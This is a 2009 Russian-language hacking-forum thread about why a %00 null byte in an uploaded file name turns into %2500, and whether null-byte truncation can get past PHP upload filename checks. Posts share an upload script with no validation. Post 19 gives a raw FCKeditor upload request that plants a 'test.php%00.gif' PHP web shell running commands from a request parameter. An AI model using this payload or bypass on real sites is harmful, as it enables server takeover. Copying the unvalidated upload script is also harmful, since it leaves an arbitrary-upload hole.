%00 -> %2500, при аплоаде

Discussion in 'Уязвимости' started by wolmer, 10 Nov 2009.

  1. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    465
    Likes Received:
    97
    Reputations:
    9
    Почему при загрузке (что в линукс что в виндувс), частичка имени файла преобразуется в %2500 (у меня так)(а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку))
    Отправлял пакеты с помощью HTTPREQ (пробывал и InetCrack'ом отправлять, все тоже самое)

    Помогите собственно с ответом (сабж заслуживает отдельной темы, так как в "Вопросах о уязв." мне не помогли)
     
    #1 wolmer, 10 Nov 2009
    Last edited: 11 Nov 2009
    1 person likes this.
  2. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    198
    Likes Received:
    195
    Reputations:
    91
    Что-то мне других возможностей и не представляется, кроме функции urlencode или аналогичных ей. Там точно нет никакой обработки в коде? Может просмотрел чего? Выложи код.
     
  3. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    465
    Likes Received:
    97
    Reputations:
    9
    Code:
    <html>
    <head>
    <title>Загрузка файлов на сервер</title>
    </head>
    <body>
    <h2><p><b> Форма для загрузки файлов </b></p></h2>
    <form method="post" enctype="multipart/form-data">
    <input type="file" name="filename"><br> 
    <input type="submit" value="Загрузить"><br>
    </form>
    <?php
    if($_FILES["filename"]["size"] > 1024*3*1024)
    {
    echo ("Размер файла превышает три мегабайта");
    exit;
    }
    if(copy($_FILES["filename"]["tmp_name"],
    "/home/user/data/www/site.ru/".$_FILES["filename"]["name"]))
    {
    echo("Файл успешно загружен <br>");
    echo("Характеристики файла: <br>");
    echo("Имя файла: ");
    echo($_FILES["filename"]["name"]);
    echo("<br>Размер файла: ");
    echo($_FILES["filename"]["size"]);
    echo("<br>Каталог для загрузки: ");
    echo($_FILES["filename"]["tmp_name"]);
    echo("<br>Тип файла: ");
    echo($_FILES["filename"]["type"]);
    } else {
    echo("Ошибка загрузки файла");
    }
    ?>
    </body>
    </html>
     
    1 person likes this.
  4. wix

    wix Member

    Joined:
    23 May 2007
    Messages:
    20
    Likes Received:
    5
    Reputations:
    0
    $_FILES["filename"]["name"] => urldecode($_FILES["filename"]["name"])

    и пропадут неведомые %20 и т.д.
     
    1 person likes this.
  5. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    465
    Likes Received:
    97
    Reputations:
    9
    Т.е. так вот на ровном месте нельзя отрубить нулл байтом конец? (без urldecode) :mad:
     
  6. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    265
    Likes Received:
    440
    Reputations:
    275
    При передаче в названии файла %00, у меня так и остается %00.

    Но при передачи параметров методом GET, POST, php декодирует url закодированные символы, например %00 => null byte; %27 => '

    1. В случае с обычными POST запросами, используется метод:
    application/x-www-form-urlencoded
    Он означает что данные передаются url кодированными, поэтому php их декодирует.

    2. В случае загрузки файлов, используется метод:
    multipart/form-data
    Он означает что передаются бинарные данные, соотвественно эти данные не будут url декодированными и %00, так и останется %00

    Как передать null byte, не знаю и возможно ли?
     
    #6 (Dm), 17 Nov 2009
    Last edited: 22 Nov 2009
    1 person likes this.
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,752
    Likes Received:
    1,044
    Reputations:
    339
    у меня ничего не преобразутся, тестил и %00 в середине имени файла, и в конце имени, и с magic_quotes=ON, и OFF - результат всегда один - как назвал, так и заливается, без изменений, ось Linux

    Для загрузки использовался код автора темы

    PS: Автор, выложи свой phpinfo

    Скорее всего никак, если в коде нет последующей "неаккуратной" обработки имени файла после загрузки, которое иногда встречается, например, когда проверяют, картинка ли файл
     
    #7 Pashkela, 17 Nov 2009
    Last edited: 17 Nov 2009
  8. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    465
    Likes Received:
    97
    Reputations:
    9
    phpinfo:http://dump.ru/file/3779897
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,752
    Likes Received:
    1,044
    Reputations:
    339
    не, никак, а то что было ночью, унесли в РОА. Вот так-то, спать меньше надо :)

    Iceangel_: аяяяй, злые роавцы, все себе в группу тащут... (((
    Никто ничего никуда не переносил, опять у тебя паранойя =(
     
    #9 Pashkela, 21 Nov 2009
    Last edited by a moderator: 21 Nov 2009
    1 person likes this.
  10. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    285
    Likes Received:
    597
    Reputations:
    514
    Вообще, тема с передачей нулл байта через имя файла в глобальном массиве $_FILES очень интересна, например, мне не удалось сделать это ни разу передачей %00 или \0, \х00 и т.д. ни через имя файла, ни через тампер дату и перехват пакета HTTP.
    Видимо это действительно связано с
    Ранее где-то проходила информация, что это возможно и на основе этого были вроде даже баги каких-то двигов...
    В частности, в статье Минаева "Роковые ошибки php" https://forum.antichat.ru/thread54355.html упоминается такой метод обхода
    который будет работать только в результате дополнительного преобразования через urldecode($_FILES['userfile']['name']).

    Я могу лишь предположить, что данная уязвимость успешно работала на старых версиях ПХП, когда массива $_FILES не было, а использовался $HTTP_POST_FILES.
     
    1 person likes this.
  11. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    736
    Likes Received:
    544
    Reputations:
    190
    например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)
     
    1 person likes this.
  12. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    265
    Likes Received:
    440
    Reputations:
    275
    Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.

    Пример:
    PHP без Suhosin, magic_quotes не имело значения

    Скрипт up.php:
    PHP:
    <?php
    if (!empty($_FILES["filename"]["tmp_name"])) {
        echo 
    "Имя файла: ".$_FILES["filename"]["name"]."<br>";
    }
    ?>
    Запроc:
    Ответ:
    Как видно имя файла без null byte'a
     
    #12 (Dm), 24 Nov 2009
    Last edited: 24 Nov 2009
  13. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    285
    Likes Received:
    597
    Reputations:
    514

    +1

    Тоже проверил - просто обрезает.

    Как минимум для приведенного в статье скрипта, точно не работает.
    ЗЫ
    Тема открыта.
     
    #13 [53x]Shadow, 24 Nov 2009
    Last edited: 24 Nov 2009
  14. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    465
    Likes Received:
    97
    Reputations:
    9
    (Dm), все таки не могу понять как у тебя получилось обрезать если:
    Content-Type: multipart/form-data;
    (т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт))

    Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
    Но я не представляю как будет выглядеть символ нулл байта

    Подправьте меня если я ошибся
     
  15. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    265
    Likes Received:
    440
    Reputations:
    275
    Если передать null byte в переменной, то что стоит после null byte откинется в этой переменной, для обхода фильтров, проверок - это никак не поможет.
    Да.
    null byte - никак не выглядит, нет такого символа) это нулевой код 0x00. Обычно при выводе отображается как �
     
    #15 (Dm), 24 Nov 2009
    Last edited: 24 Nov 2009
  16. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    ребята , вы че:???
    все так и работает, обход ereg/eregi при аплоаде
    Причем дата тампер работает в этом случае прикрасно у меня

    то есть жмешь раскодить все спец символы превращаются в %xx вот и вставляешь %00 туда, и все гуд.


    вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе
     
    _________________________
  17. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    285
    Likes Received:
    597
    Reputations:
    514
    Такой вариант проверки устроит:
    PHP:
    echo $_FILES['uploadedfile']['name'];
    echo 
    strlen($_FILES['uploadedfile']['name']);
    вывод после передачи 1.php%00.gif и раскодирования в тампер дате:
    Code:
    1.php
    5
     
  18. smc

    smc New Member

    Joined:
    9 Oct 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Вопрос к Wolmer и (DM).
    если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?
     
  19. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,127
    Likes Received:
    602
    Reputations:
    684
    2smc нуллбайт вставляется в пакете в названии файла,
    скачай inetcrack и попробуй вариации (например таким способом можно было обходит с нуллбайтом в FCKeditor)
    пример пакета
    Code:
    POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.0
    Accept: */*
    Content-Type: multipart/form-data; 
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
    Host: site.com
    Content-Length: 234
    Connection: Close
    Pragma: no-cache
    Content-Disposition: form-data; name="NewFile"; filename="test.php[COLOR=Red]%00[/COLOR].gif"
    Content-Type: text/plain
    
    <? passthru($_REQUEST[cmd]); ?>
    
     
    _________________________
  20. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196


    можно. "\x00"
     
    1 person likes this.